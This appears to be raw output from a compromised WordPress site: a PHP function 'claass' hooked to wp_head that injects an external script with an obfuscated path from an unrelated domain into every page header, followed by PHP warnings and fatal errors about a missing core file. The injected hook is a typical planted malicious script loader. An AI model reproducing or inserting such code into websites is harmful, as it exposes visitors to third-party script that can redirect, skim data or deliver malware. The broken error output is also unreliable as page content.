function claass() {
   echo '<script async src="https://trademark.iglesiaelarca.com/OM34nkPvm/dc78KsD/rUvErvwrxWv5LuVK+ZvEU="></script>';
}
add_action('wp_head', 'claass')<br />
<b>Warning</b>:  require(C:\wwwroot\wxdcjs.net/wp-includes/default-constants.php): failed to open stream: No such file or directory in <b>C:\wwwroot\wxdcjs.net\wp-settings.php</b> on line <b>21</b><br />
<br />
<b>Fatal error</b>:  require(): Failed opening required 'C:\wwwroot\wxdcjs.net/wp-includes/default-constants.php' (include_path='.;C:\php\pear') in <b>C:\wwwroot\wxdcjs.net\wp-settings.php</b> on line <b>21</b><br />